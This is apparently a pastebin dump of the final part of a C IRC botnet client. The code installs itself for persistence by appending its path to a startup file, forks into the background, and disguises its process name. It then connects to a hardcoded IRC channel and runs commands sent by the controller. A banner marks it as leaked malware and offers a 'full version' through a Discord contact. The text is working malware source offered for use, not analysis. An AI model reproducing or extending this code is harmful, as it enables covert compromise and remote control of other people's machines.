  846. getcwd(cwd,256);
  847. if (strcmp(cwd,"/")) {
  848. while(argv[0][i] != '/') i--;
  849. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  850. while(!feof(file)) {
  851. fgets(buf,1024,file);
  852. if (!strcasecmp(buf,outfile)) d++;
  853. }
  854. if (d == 0) {
  855. FILE *out;
  856. fclose(file);
  857. out=fopen(str,"a");
  858. if (out != NULL) {
  859. fputs(outfile,out);
  860. fclose(out);
  861. }
  862. }
  863. else fclose(file);
  864. }
  865. else fclose(file);
  866. }
  867. #endif
  868. if (fork()) exit(0);
  869. #ifdef FAKENAME
  870. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  871. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  872. #endif
  873. srand((time(NULL) ^ getpid()) + getppid());
  874. char tempnick[50];
  875. char *strpref = PREFIX;
  876. char *genname = makestring();
  877.  
  878. strcpy(tempnick,strpref);
  879. strcat(tempnick,genname);
  880.  
  881. nick=tempnick;
  882. ident="Remote";
  883. user="Remote IRC Bot";
  884. chan=CHAN;
  885. key=KEY;
  886. pass=PASS;
  887. server=NULL;
  888. sa:
  889. #ifdef IDENT
  890. for (i=0;i<numpids;i++) {
  891. if (pids[i] != 0 && pids[i] != getpid()) {
  892. kill(pids[i],9);
  893. waitpid(pids[i],NULL,WNOHANG);
  894. }
  895. }
  896. pids=NULL;
  897. numpids=0;
  898. identd();
  899. #endif
  900.  
  901. con();
  902. Send(sock,"PASS %s\n", pass);
  903. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  904. while(1) {
  905. unsigned long i;
  906. fd_set n;
  907. struct timeval tv;
  908. FD_ZERO(&n);
  909. FD_SET(sock,&n);
  910. tv.tv_sec=60*20;
  911. tv.tv_usec=0;
  912. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  913. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  914. unsigned int *newpids,on;
  915. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  916. pids[on-1]=0;
  917. numpids--;
  918. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  919. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  920. free(pids);
  921. pids=newpids;
  922. }
  923. if (FD_ISSET(sock,&n)) {
  924. char buf[4096], *str;
  925. int i;
  926. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  927. buf[i]=0;
  928. str=strtok(buf,"\n");
  929. while(str && *str) {
  930. char name[1024], sender[1024];
  931. filter(str);
  932. if (*str == ':') {
  933. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  934. str[i]=0;
  935. strcpy(sender,str+1);
  936. strcpy(str,str+i+1);
  937. }
  938. else strcpy(sender,"*");
  939. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  940. str[i]=0;
  941. strcpy(name,str);
  942. strcpy(str,str+i+1);
  943. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  944. if (!strcasecmp(name,"ERROR")) goto sa;
  945. str=strtok((char*)NULL,"\n");
  946. }
  947. }
  948. }
  949. return 0;
  950. }
  951.  
  952. //
  953. // /$$ /$$ /$$ /$$ /$$$$$$ /$$
  954. // | $$ | $$ | $$ | $$ /$$__ $$ |__/
  955. // | $$ /$$$$$$ /$$$$$$ | $$ /$$ /$$$$$$ /$$$$$$$ | $$$$$$$ /$$ /$$ | $$ \__/ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$$$$$$ /$$$$$$
  956. // | $$ /$$__ $$ |____ $$| $$ /$$/ /$$__ $$ /$$__ $$ | $$__ $$| $$ | $$ | $$ /$$__ $$ /$$_____/ |____ $$| $$| $$__ $$ |____ $$
  957. // | $$ | $$$$$$$$ /$$$$$$$| $$$$$$/ | $$$$$$$$| $$ | $$ | $$ \ $$| $$ | $$ | $$ | $$ \ $$| $$ /$$$$$$$| $$| $$ \ $$ /$$$$$$$
  958. // | $$ | $$_____/ /$$__ $$| $$_ $$ | $$_____/| $$ | $$ | $$ | $$| $$ | $$ | $$ $$| $$ | $$| $$ /$$__ $$| $$| $$ | $$ /$$__ $$
  959. // | $$$$$$$$| $$$$$$$| $$$$$$$| $$ \ $$| $$$$$$$| $$$$$$$ | $$$$$$$/| $$$$$$$ | $$$$$$/| $$$$$$/| $$$$$$$| $$$$$$$| $$| $$ | $$| $$$$$$$
  960. // ________/ \_______/ \_______/|__/ \__/ \_______/ \_______/ |_______/ \____ $$ \______/ \______/ \_______/ \_______/|__/|__/ |__/ \_______/
  961. // /$$ | $$
  962. // For full version contact me at Cocaina#1162 | $$$$$$/
  963. // \______/
  964. //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement